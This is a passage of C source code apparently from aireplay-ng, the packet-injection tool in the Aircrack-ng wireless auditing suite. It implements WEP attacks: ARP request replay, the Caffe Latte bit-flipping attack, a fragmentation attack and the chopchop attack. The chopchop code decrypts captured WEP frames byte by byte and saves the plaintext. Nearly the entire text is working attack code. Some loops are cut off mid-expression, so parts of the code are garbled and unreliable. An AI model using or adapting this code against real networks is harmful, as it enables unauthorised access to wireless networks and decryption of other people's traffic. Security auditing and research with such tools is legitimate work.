opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_dmac, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } } } //should be correct already, keep qos/wds status // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) { /* no more room, overwrite oldest entry */ memcpy( arp[arp_off2].buf, h80211, caplen ); arp[arp_off2].len = caplen; arp[arp_off2].hdrlen = z; if( ++arp_off2 >= nb_arp ) arp_off2 = 0; } else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memcpy( arp[nb_arp].buf, h80211, caplen ); arp[nb_arp].len = caplen; arp[nb_arp].hdrlen = z; nb_arp++; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fflush( f_cap_out ); } } } return( 0 ); } int do_attack_caffe_latte( void ) { int nb_bad_pkt; int arp_off1, arp_off2; int i, n, caplen, nb_arp, z; long nb_pkt_read, nb_arp_tot, nb_ack_pkt; uchar flip[4096]; time_t tc; float f, ticks[3]; struct timeval tv; struct timeval tv2; struct tm *lt; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; struct ARP_req * arp; if ( opt.ringbuffer ) arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); else arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) ); /* capture only WEP data to broadcast address */ opt.f_type = 2; opt.f_subtype = 0; opt.f_iswep = 1; opt.f_fromds = 0; if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a BSSID (-b).\n" ); return( 1 ); } /* create and write the output pcap header */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_arp-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: /* ad-hoc */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to an ad-hoc packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x40; /* WEP */ } else { nb_arp_tot++; continue; } break; } case 1: /* ToDS */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to a FromDS packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x42; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); // flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC // flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; return 0; } int do_attack_cfrag( void ) { int caplen, n; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; uchar keystream[128]; uchar frag1[128], frag2[128], frag3[128]; uchar clear[4096], final[4096], flip[4096]; int isarp; int z, i; opt.f_fromds = 0; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen < z) { goto read_packets; } if(caplen > 3800) { goto read_packets; } switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 16, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 24, 6 ); break; } memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); /* check if it's a potential ARP request */ //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte) if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else //tods { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; i= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if(isarp) { if( send_packet( frag1, z+4+10+4 ) < 0 ) return( 1 ); nb_pkt_sent--; } else { if( send_packet( frag1, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag2, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag3, z+4+4+4 ) < 0 ) return( 1 ); nb_pkt_sent-=3; } if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } return( 0 ); } int do_attack_chopchop( void ) { float f, ticks[4]; int i, j, n, z, caplen, srcz; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; uchar packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if(getnet(NULL, 1, 0) != 0) return 1; srand( time( NULL ) ); if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones) memset(packet, 0, sizeof(packet)); memcpy( packet, NULL_DATA, 24 ); memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); memcpy( packet + 10, opt.r_smac, 6 ); memcpy( packet + 16, opt.f_bssid, 6 ); packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* setup the chopping buffer */ n = caplen - z + 24; if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); data_start = 24 + 4; data_end = n; srcdiff = z-24; chopped[0] = 0x08; /* normal data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ /* copy the duration */ memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( chopped + 4, h80211 + 16, 6 ); break; case 1: memcpy( chopped + 4, h80211 + 4, 6 ); break; case 2: memcpy( chopped + 4, h80211 + 10, 6 ); break; default: memcpy( chopped + 4, h80211 + 10, 6 ); break; } /* copy the WEP IV */ memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ /* if the replay source mac is unspecified, forge one */ if( opt.r_smac_set == 0 ) { is_deauth_mode = 1; opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } else { is_deauth_mode = 0; opt.r_dmac[0] = 0xFF; opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; tt = time( NULL ); alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) ) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 40; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06; chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00; chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01; chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08; chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA; chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00; chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 ); chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[z + 8] = 0x40 + i; chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[z + 9] = j; chopped[24 + 13] = srcbuf[srcz + 13] ^ j; if( check_crc_buf( h80211 + z, caplen - z - 8 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && ! is_deauth_mode ) { nb_bad_pkt++; if( nb_bad_pkt > 256 ) { printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n"); sleep(3); nb_bad_pkt = 0; } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); } } else { if( is_deauth_mode ) continue; /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; if( ( h80211[0] & 0x70 ) != 0 ) continue; if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* check the extended IV (TKIP) flag */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; /* check the destination address */ if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); } } /* we have a winner */ guess = h80211[9]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[24 + 4] = srcbuf[srcz + 4] ^ b1; chopped[24 + 5] = srcbuf[srcz + 5] ^ b2; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */ h80211[1] &= 0xBF; /* remove the WEP bit, too */ /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( 